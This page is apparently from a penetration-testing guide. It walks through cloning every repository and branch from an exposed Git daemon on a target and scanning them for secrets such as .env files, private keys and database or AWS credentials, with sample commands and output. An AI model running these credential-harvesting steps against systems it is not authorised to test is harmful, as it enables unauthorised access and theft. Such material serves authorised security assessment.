Skip to content

Git Repository Cloning

4 min read Created Apr 4, 2026 Last updated Apr 4, 2026

Unauthenticated access to a Git daemon repository means the full source code, complete commit history, all branches, all tags, and all stashes are available for download. The current files on the default branch are only a fraction of what is accessible: secrets removed in past commits, credentials in old config files, and tokens in deleted branches all remain in the history. A full clone is always required for complete secret mining. Confirm repository names through repository enumeration first.

The object count in clone output shows how much history exists to mine. A count above 500 suggests years of commits. A count under 50 may mean a recently created or purged repository. Clone it regardless: a single credential in one old commit is a valid finding.

  • Clone the Full Repository
  • Clone All Branches
  • Clone Multiple Repositories
  • Quick File Scan After Clone

Clone the Full Repository

If the clone fails with a repository not found error, the repository name is wrong. Try alternate names from enumeration results. If git returns a connection refused error, the daemon may restrict access by source IP. Confirm port 9418 is open and reachable before retrying. A successful clone reporting 0 objects means the repository exists but is empty. Move to the next name on your list.

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/git_loot && cd /tmp/git_loot
┌──(kali㉿kali)-[~]
└─$ git clone git://$TARGET_IP/repo.git
┌──(kali㉿kali)-[~]
└─$ cd repo && git log --oneline | wc -l
Cloning into 'repo'...
remote: Counting objects: 1247, done.
remote: Total 1247 (delta 0), reused 1247 (delta 0)
342

Clone All Branches

A standard clone only checks out the default branch. Fetch all remote branches to ensure the complete history is available locally.

Branch names reveal the development workflow and the attack surface. A branch named feature/payment-integration likely touched payment API keys or provider credentials during development. Staging and develop branches often hold environment configuration files that were never cleaned up. These branches are frequently less scrutinised than main. Check out every remote branch before running secret scanning tools against the repository.

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git fetch --all
┌──(kali㉿kali)-[~]
└─$ git branch -r
  origin/HEAD -> origin/main
  origin/main
  origin/develop
  origin/feature/payment-integration
  origin/staging
┌──(kali㉿kali)-[~]
└─$ # Check out each remote branch locally
┌──(kali㉿kali)-[~]
└─$ for branch in $(git branch -r | grep -v HEAD | sed 's/origin\///'); do
git checkout -b $branch origin/$branch 2>/dev/null
done
┌──(kali㉿kali)-[~]
└─$ git branch
* main
  develop
  feature/payment-integration
  staging

Clone Multiple Repositories

Repository names follow predictable patterns based on the application stack and team conventions. Common names to try include api, backend, frontend, webapp, config, infrastructure, and deployment. Prioritise config and infrastructure repositories. They often hold environment-specific settings, database credentials, and cloud provider keys that application repositories reference but do not store directly. A not found result is not final. Try the same name without the .git extension, or substitute underscores for hyphens.

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot
┌──(kali㉿kali)-[~]
└─$ for repo in repo config webapp api; do
git clone git://$TARGET_IP/$repo.git 2>/dev/null && echo "Cloned: $repo" || echo "Not found: $repo"
done
Cloned: repo
Not found: config
Cloned: webapp
Not found: api

Quick File Scan After Clone

Before running full secret mining tools, do a quick scan of the current working tree for obviously sensitive files.

A .env file is the highest-value find. Laravel, Django, Rails, and most modern frameworks store all environment credentials there in plain text. A database.yml holds host, username, and password per environment. Config files and .conf files often contain API keys for third-party services. Private key files (.pem, id_rsa, .key) may allow direct access to servers or decrypt other material. Any match here is an immediate finding before you examine any commit history.

┌──(kali㉿kali)-[~]
└─$ find /tmp/git_loot/ -type f \( -name '*.env' -o -name '*.pem' -o -name '*.key' -o -name 'id_rsa' -o -name '*.conf' -o -name 'config.yml' -o -name 'database.yml' \) 2>/dev/null
/tmp/git_loot/repo/.env
/tmp/git_loot/repo/config/database.yml
/tmp/git_loot/webapp/config.yml
┌──(kali㉿kali)-[~]
└─$ cat /tmp/git_loot/repo/.env
DB_HOST=10.10.10.20
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=SuperSecret123!
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalr...

Credentials in the current working tree are an immediate finding. Record the database host and credentials for use against the database service directly. Test any AWS or cloud keys to confirm they are still active. Note the internal database host address: it may expose a service not directly reachable from outside the network. The full history may contain additional secrets removed from the working tree but still present in git objects. Move to history secret mining to scan every commit systematically. Tools like trufflehog and gitleaks operate on the full local clone and surface patterns across all objects, not just the current file state.

References